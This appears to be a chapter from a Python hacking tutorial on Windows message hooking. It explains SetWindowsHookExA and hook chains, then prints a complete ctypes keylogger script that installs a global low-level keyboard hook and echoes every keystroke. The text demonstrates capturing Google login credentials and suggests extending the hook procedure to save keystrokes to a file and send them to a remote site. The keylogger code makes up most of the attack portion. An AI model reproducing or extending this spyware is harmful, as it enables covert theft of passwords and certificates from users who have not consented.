It is possible to set the “hook” using the
SetWindowsHookExA function provided by user32.dll. The operating system
provides a hook mechanism as a function that intercepts an event in
progression, such as a message, a mouse click, or keyboard input. This
mechanism is functionally implemented as a hook procedure (or callback
function). The operatin system supports multiple hook procedures to be set to one
hook type (mouse clicks, keyboard input) and manages these via a hook chain. A
hook chain is a list of pointers to the hook procedure.
A local hook and a
global hook are two types of hooks. The local hook sets
the hook on a particular thread, and the global hook sets the hook for all
threads running on the operating system. For example, for the keyboard input,
if you set the global hook, the hook procedure is called for all keyboard
input, and it is is possible to monitor all keyboard input of the users. If a
local hook is set, the hook procedure of keyboard input is called only if the
window in which the thread management has been activated.
Concept
of Hook
Set the hook of keyboard input type, let's look at the
mechanism that is to be processed by the hook procedure when the input message
of the keyboard comes into the thread queue.
(1) Setting
the hook: Using the SetWindowsHookExA function in user32.dll, it is
possible to set the hook and to register a hook procedure (callback function)
that handles the message.
(2) Hook Chains
Registration: The hook chain manages the registered hook procedure. The
pointer of the hook procedure has been registered in the front of the hook
chain, and the operating system waits for the keyboard input type of the
message to be input into the thread queue.
(3) Keyboard
Input: A user inputs the desired message into the computer using the
keyboard. The controller on the keyboard converts it into a signal that a
computer can recognize, and it is then transmitted to the keyboard driver.
(4) System
Queues: The messages coming from the keyboard are entered into the system
queue that is managed by the operating system and wait to be entered into the
thread queue that is responsible to process the messages.
(5) Thread Queue:
The messages are entered into thread queue are not sent to that window but to a
hook procedure that the first pointer of the hook chain indicates.
(6) Message Hooking:
The message from the thread queue is passed as a pointer to the first entry of
the hook chain. (In fact, the hook procedure that the pointer points to)
(7) Hook Procedure:
The hook procedure receives the messages and runs the operation that is
specified by the programmer. Most of the hacking code is written using the hook
procedure. When the tasks are finished, the operating system will convey the
message to the next pointer of the hook chain, which is sometimes referred to
as a callback function.
(8) Hook Chain
Pointer: In turn, the operating system forwards a message to the hook
procedure that is pointed to by the pointers in the hook chain. After the last
hook procedure has processed the message, the operating system forwards the message
to the window that was originally specified.
When the hook is set, the operating system continuously
monitors the queue, and since doing so results on a heavy load on the system,
after your objective is achieved, be sure to remove the hook in order to
minimize the impact on the performance. Then, let's briefly examine the
structure and the usage of SetWindowsHookEx, which is a typical function to set
the hook.
• Grammar provided by MSDN
HHOOK WINAPI SetWindowsHookExA(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId ); |
MSDN (Microsoft Developer Network
http://msdn.microsoft.com) describes in detail how to use the function. The
first argument is a hook, and it chooses the kind of message that is to be
hooked. The second argument refers to the hook procedure. The third argument is
the handle for the DLL that the thread that is to be hooked belongs to. At the
end of the argument, the thread ID that is to be hooked is entered.
• Call Structure
Using ctypes
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int,
POINTER(c_void_p)) pointer = CMPFUNC(hook_procedure) #hook_procedure is defined by user
windll.user32.SetWindowsHookExA( 13,
# WH_KEYBOARD_LL
pointer,
windll.kernel32.GetModuleHandleW(None), 0 ); |
The “stdcall” calling convention is used to call the DLL and
its functions. To bind the appropriate factor, the transformation method
provided by the ctypes is used. The hook type is the first argument (integer
type), and it can be easily found on the Internet. We need the hook procedure
as the second argument. In order to use the hook procedure that is defined in
Python, you must obtain a pointer for the function using the CMPFUNC function.
The third and final argument inputs NULL and 0 to set the global hook.
If you have learned how to use ctypes at this point, then all
of the functions that are found in MSDN can be easily used in Python, which is
one of the strengths of the Python language. Python is frequently used for
hacking since it provides a simple grammar, extensive external modules, and it
allows using low-level APIs provided by the operating system.
Keyboard
Hooking
When
setting a global hook, it is possible to make a program that can print all
keyboard input on the console. If a keyboard security program is not installed,
the hacker will be able to see the content that the user has directly input on
the screen. We can test this with Google. It is possible to determine the user
name and the password that have been entered by the user and are printed on the
console.
import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD
user32 = windll.user32 #(1) kernel32 = windll.kernel32
WH_KEYBOARD_LL=13 #(2) WM_KEYDOWN=0x0100 CTRL_CODE = 162
class KeyLogger: #(3) def
__init__(self):
self.lUser32 = user32
self.hooked = None def
installHookProc(self, pointer): #(4) self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None), 0
)
if not self.hooked:
return False
return True def
uninstallHookProc(self): #(5)
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked = None
def getFPTR(fn): #(6)
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
return CMPFUNC(fn)
def hookProc(nCode, wParam, lParam): #(7) if
wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
hookedKey = chr(lParam[0])
print hookedKey
if(CTRL_CODE == int(lParam[0])):
print "Ctrl pressed, call uninstallHook()"
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam,
lParam)
def startKeyLog(): #(8) msg
= MSG()
user32.GetMessageA(byref(msg),0,0,0) keyLogger = KeyLogger() #start of hook process #(9) pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print "installed keyLogger"
startKeyLog() |
MessageHooking.py
While creating the KeyLogger
class, the program begins to operate. A callback function can be specified as a
hook procedure to set the hook to the type of event that you wish to monitor. The
operating system reads the data from the thread queue and calls the specified
hook procedure, and the detailed operations are as follows.
(1) Using windll: Declare the variables for
the user32 and kernel32 type using the windll. When using a function that the
DLL provides, it can be used as "user32.API name" or
"kernel32.API name".
(2) Variable Declaration: The predefined
values inside of the Win32 API can be easily identified through MSDN or by
browsing the Internet. The variable is declared, and then we bind the value.
(3) Declaring Class: Declare the class
that has the ability to set and release the hook.
(4) Declaring Hook Setting Function: Set
the hook using the SetWindowsHookExA function that user32 DLL provides. The
hook procedure monitors the WH_KEYBOARD_LL events of all threads that are
running on the operating system.
(5) Declaring Hook Release Function: Release
the hook using the UnhookWindowsHookEx function that user32 DLL provides. Since
hook results in a high load on the system, after the objective is achieved, it
must always be released.
(6) Getting Function Pointers: To register
the hook procedure (callback function), you must pass the pointer of that
function. The ctypes provide the CFUNCTYPE function that allows you to find the
function pointer.
(7) Declaring Hook Procedure: The hook
procedure is the callback function that is responsible to process events at the
user level. The Hook procedure prints the value of the incoming message that
corresponds to the the WM_KEYDOWN on the screen, and when the incoming message corresponds
to the “CTRL” key, it removes the hook. When all of the processing has been
completed, the Hook procedure passes control to the other hook procedure in the
hook chain. (CallNextHookEx)
(8) Transfering Message: The GetMessageA
function monitors the queue, and if the queue message is coming in, the
GetMessageA function sends a message to the first hook that is registered in the
hook chain.
(9) Starting Message Hooking: First, create
a KeyLogger class. Then, set the hook by calling the installHookProc function,
at the same time register the hook procedure (callback function). Call the
startKeyLog function in order to transmit the incoming messages into the queue
to the hook chain.
It is possible to insert various functions to hack into the
“hookProc” function. Then, save the keyboard input into a file and send it to a
specific site. If the keyboard security program is not installed, the user name,
password, and public certificate that are entered by the user can also be hacked.
Message hooking is therefore a powerful hacking tool that can be applied to
various fields.
Enter
the ID / password in Google |
Execution
of the program, the console |
|
|
|
Keyboard
hook execution results